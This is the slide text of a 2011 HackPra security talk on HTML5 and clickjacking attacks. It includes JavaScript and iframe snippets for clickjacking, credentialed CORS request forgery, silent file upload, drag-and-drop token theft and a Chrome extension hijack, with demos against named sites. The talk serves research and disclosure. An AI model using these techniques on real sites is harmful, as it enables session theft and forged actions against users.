Html5: something wicked this way comes - HackPra

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Video recording of the talk: https://connect.ruhr-uni-bochum.de/p3g2butmrt4/

HTML5 is quickly gaining media attention and popularity among browser vendors and web developers. Having tremendous features, together with its sister specifications like Drag & Drop API, File API or Geolocation it allows developers to build rich web applications that easily blend with desktop & mobile environments.

The talk will be focused on finding the weakest link and combining several recent attack techniques to turn a security vulnerability into a successful exploit.

We'll show how to build a successful advanced UI-Redressing attack (also known as clickjacking), presenting the latest findings in this field, including malicious games and quizes. We'll work on file upload functionalities in current web applications and see how attackers might use HTML5 APIs for their advantage. Putting all these building blocks together will enable us to launch an attack and exploit even the otherwise unexploitable vulnerabilities.

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Html5: something wicked this way comes - HackPra

  1. 1. HTML5:Something wicked this way comesHackPra, Bochum Krzysztof Kotowicz, Securing11.2011 krzysztof.kotowicz@securing.pl @kkotowicz
  2. 2. About me• security researcher • HTML 5 • UI redressing / clickjacking • xss-track, squid-imposter, ...• pentester• IT security trainer • „Hacking HTML5” 2
  3. 3. Plan• Same Origin Policy• Exploiting users• Attack toolbox • demos • obligatory 0-day ;)• Wrap-up 3
  4. 4. Same origin policy• the single most important security concept for the web• restricts communication between websites from different domains• has many flavors• without it hell breaks loose • worldwide XSS mayhem 4
  5. 5. Same origin policy• can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing• or ignored... • by exploiting users • UI redressing 5
  6. 6. UI Redressing? Jedi mind tricks on victim users 6
  7. 7. UI Redressing • This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 7
  8. 8. Exploiting users //goo.gl/DgPpY 8
  9. 9. Combined attacks1. Analyze target2. Choose pieces • HTML5 • UI redressing3. Plant the attack4. ....5. Profit! 9
  10. 10. Attack toolbox 10
  11. 11. Framing<iframe src=//google.com></iframe> 11
  12. 12. Framing• Frames can • move • be nested • be invisible<iframe src=//google.comstyle="opacity:0;"></iframe> 12
  13. 13. Framing – prevention• X-Frame-Options 13
  14. 14. Framing – prevention• JS Framebustingif (top !== self) {    top.location = self.location;}// and many others.... 14
  15. 15. X-Frame-Options Marcus Niemietz, February 2011 • Home pages HTTP header analysis • Based on Alexa Count Rate Top 100 3 3.00% Top 1000 9 0.90% Top 10000 33 0.33% Not that popular yet 15
  16. 16. Basic clickjacking 16
  17. 17. Basic clickjacking 20x20 <iframe> 17
  18. 18. Basic clickjacking <iframe> -300 -350 20x20 18
  19. 19. Basic clickjacking <iframe> Victim website 20x20 Like us, plz! 19
  20. 20. Basic clickjacking <iframe src=outer.htmlwidth=20 height=20 scrolling=nostyle="opacity:0;"></iframe><!-- outer.html --><iframe src="//victim" width=5000height=5000 style="position:absolute; top:-300px; left:-350px;"></iframe> 20
  21. 21. Basic clickjacking• Use to: click on link, button etc.• Trick: Click here to see a video!• User interaction: click+ Any clickable action+ Works in every browser- X-Frame-Option- JS framebusting 21
  22. 22. HTML5 IFRAME sandbox• Used to embed untrusted content • prevents XSS • prevents defacement• Facilitates clickjacking!<iframe sandbox="allow-same-originallow-forms allow-scripts" src="//victim"></iframe> //html5sec.org/#122 22
  23. 23. HTML5 IFRAME sandbox• Use to: protect from frame busting+ Chrome / Safari / IE 10+ Will disable most JS framebusters- X-Frame-Option 23
  24. 24. Cross Origin Resource Sharing• HTML5-ish• Cross domain AJAX• With cookies• Blind • Unless the receiving site agrees• Not limited to <form> syntax 24
  25. 25. Cross Origin Resource Sharingvar xhr = new XMLHttpRequest();    xhr.open("POST", "http://victim", true);xhr.setRequestHeader("Content-Type", "text/plain");xhr.withCredentials = "true"; // send cookiesxhr.send("Anything I want"); 25
  26. 26. Cross Origin Resource SharingPOST / HTTP/1.1Host: victimReferer: http://dev.localhost/temp/cors.phpContent-Length: 15Origin: http://dev.localhostContent-Type: text/plain...Cookie: my-cookie=myvalueAnything I want 26
  27. 27. Cross Origin Resource Sharing• Use to: Cross Site Request Forgery• User interaction: none 27
  28. 28. Silent file upload• File upload purely in Javascript• Silent <input type=file> with any file name and content• Uses CORS• How? Raw multipart/form-data 28
  29. 29. Silent file uploadfunction fileUpload(url, fileData, fileName) {   var fileSize = fileData.length,     boundary = "xxxxxxxxx",     xhr = new XMLHttpRequest();       xhr.open("POST", url, true);   xhr.withCredentials = "true";   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);   xhr.setRequestHeader("Content-Length", fileSize); 29
  30. 30. Silent file uploadvar body = "--" + boundary + rnContent-Disposition: form-data; name="contents"; filename=" + fileName + "rnContent-Type: application/octet-streamrnrn + fileData + rn-- + boundary + --;xhr.send(body); 30
  31. 31. Silent file upload• Use to: CSRF file upload• User interaction: none+ Works in most browsers+ You can add more form fields- CSRF flaw needed- No access to response 31
  32. 32. Silent file upload DEMO Flickr.com 32
  33. 33. Flickr.com attack toolbox• Remember me • Flickr creates logged session on first request• CSRF file upload • http://up.flickr.com/photos/upload/transfer/ • accepts file uploads • token check skipped 33
  34. 34. Drag into• Put attackers content into victim form 34
  35. 35. Drag into DEMO Alphabet Hero 35
  36. 36. Drag into• Use to: self XSS, fill whitelists, enter comments...• Trick: Put paper in the can!• User interaction: drag & drop, click+ Inject arbitrary content+ Trigger self-XSS- Firefox only- X-Frame-Option- JS framebusting 36
  37. 37. Drag out content extraction image image 37
  38. 38. Drag out content extraction image victim <iframe> image 38
  39. 39. Drag out content extraction image victim <iframe> textarea <textarea> 39
  40. 40. Drag out content extraction<div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />  <img style="position:absolute;..." src="trash.png" />      <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>   <textarea style="position:absolute; opacity:0;..." id=dropper></textarea></div> 40
  41. 41. Drag out content extraction 41
  42. 42. Drag out content extraction 42
  43. 43. Drag out content extraction$("#iframe").attr(src, outer.html’);$(#dropper).bind(drop, function() {    setTimeout(function() {        var urlmatch = $("#dropper").val() .match(/token=([a-h0-9]+)$/);        if (urlmatch) {            var token = urlmatch[1];            // do EVIL        }    }, 100);}); 43
  44. 44. Drag out content extraction• Use to: get tokens, session ids, private data• Trick: Put paper in the can!• User interaction: drag & drop+ Access sensitive content cross domain- Firefox only- X-Frame-Option- JS framebusting 44
  45. 45. Drag out content extraction DEMO Min.us 45
  46. 46. Min.us attack toolbox• CORS to create gallery• social engineering • extract gallery editor-id from <a href>• silent file upload to gallery• CORS change gallery to public• HTML5 + UI redressing combined! 46
  47. 47. View-source• Display HTML source in frame • session IDs • tokens • private data<iframe src="view-source:view-source:http://victim" width=5000 height=5000 style="position: absolute; top: -300px; left: -150px;"></iframe> 47
  48. 48. View-source 48
  49. 49. View-source 49
  50. 50. View-source• Use to: get more content• Trick: Your serial number is...• User interaction: select + drag & drop, copy- paste+ Beats JS framebusting- X-Frame-Options- Firefox only- Complicated user action 50
  51. 51. View-source DEMO Imgur.com 51
  52. 52. Imgur.com attack toolbox• framed view-source: • captcha-like string (AdSense ID) • session ID• social engineering: • trick to copy/paste page source• Exploitation: • http://api.imgur.com • cookie auth, no IP limits for session 52
  53. 53. Google Chrome addons hijacking• HTML5 apps• Unique ID • chrome-extension://id/res.html• Can attach content scripts to pages • access page DOM • JS runtimes are separated • page canot see addon JS • addon cannot see page JS • Can exchange messages with other components 53
  54. 54. Google Chrome addons hijacking• Page can load addon resources<iframe src="chrome-extension://oadbo...adc/popup.html"></iframe>var popup = window.open(    chrome-extension://oadbo...adc/popup.html);• So what? 54
  55. 55. Google Chrome addons hijacking• Chrome To Phone 2.3.1 hijack 0-day //kotowicz.net/chrome-to-phone/ 55
  56. 56. Google Chrome addons hijacking• popup.htmlchrome.extension.onConnect.addListener(function(port){  port.onMessage.addListener(function(info) {    //...    sendToPhone(info.title, info.url, msgType,info.selection,sendToPhoneListener);  });});//...chrome.tabs.executeScript(null, {file:"content_script.js"}); 56
  57. 57. Google Chrome addons hijacking• content_script.jsvar pageInfo = {  "url": document.location.href,  "title": document.title,  "selection": window.getSelection().toString()};chrome.extension.connect().postMessage(pageInfo); 57
  58. 58. Google Chrome addons hijacking1. popup loads when you click2. starts listening3. adds a script to current tab4. script sends current URL5. popup gets URL and sends to Android http://... popup.html content_script.js 58
  59. 59. Google Chrome addons hijacking• manifest.json   "content_scripts": [ {      "js": [ "content_script.js" ],      "matches": [ "http://*/*", "https://*/*" ]   } ],• Sending script is always attached to every page on every tab http://... content_script.js 59
  60. 60. Google Chrome addons hijacking 60
  61. 61. Google Chrome addons hijacking• We just have to start listeningvar popup = window.open(chrome-extension://..../popup.html);window.focus(); // hide popup 61
  62. 62. Summary• UI redressing attacks are improving• HTML5 helps exploiting vulnerabilities• Users can be a weak link too! Developers: Use X-Frame-Options: DENY 62
  63. 63. Links• html5sec.org• code.google.com/p/html5security• www.contextis.co.uk/research/white-papers/ clickjacking• blog.kotowicz.net• github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl 63
  64. 64. ? 64

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